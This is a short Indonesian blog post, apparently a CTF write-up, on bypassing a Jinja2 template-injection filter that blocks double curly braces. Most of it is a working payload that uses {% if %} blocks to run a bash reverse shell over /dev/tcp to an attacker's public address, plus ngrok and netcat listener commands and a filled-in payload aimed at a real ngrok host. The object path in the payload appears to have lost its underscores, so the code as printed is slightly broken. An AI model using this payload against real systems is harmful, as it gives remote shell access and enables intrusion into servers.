Pada blog ini, saya akan membagikan cara untuk bypass filtered input SSTI Jinja2 dengan requirements:
- Memungkinkan SSTI
- Double curly brackets atau dobel kurung kurawal {{ di filter
Jadi yang pertama kali saya lakukan, masuk ke halaman web yang memungkinkan untuk kita melakukan SSTI

Selanjutnya gunakan payload berikut ini
{% if(config.class.init.globals['os'].popen('bash -c "exec bash -i &>/dev/tcp/{ip_public}/port <&1"')) %}{% endif %}
Jadi, pada payload diatas, kita akan mengirimkan request yang bertujuan untuk mengirim shell target ke shell kita melalui ip public pada /dev/tcp/{ip_public}/{port}
Nah, jadi kalian bisa mengganti {ip_public} dan {port} dengan service forward port gratis seperti netlify, ngrok, dan lainya.
Jika kalian menggunakan ngrok, bisa gunakan perintah ini ngrok tcp {listening_port}
{listening_port} akan kita gunakan untuk mendapatkan shell yang dikirim melalui domain dan port yang didapatkan dari ngrok, jangan lupa untuk gunakan perintah nc -tlvp {listening_port} untuk mendapatkan shell target.
Berdasarkan gambar diatas, maka payload yang harus dimasukkan adalah
{% if(config.class.init.globals['os'].popen('bash -c "exec bash -i &>/dev/tcp/0.tcp.ap.ngrok.io/18104 <&1"')) %}{% endif %}

Dan didapatlah flagnya BEECTF{3s_3s_t1_a1_Gg3Z_h3h3_g12l2bi30l}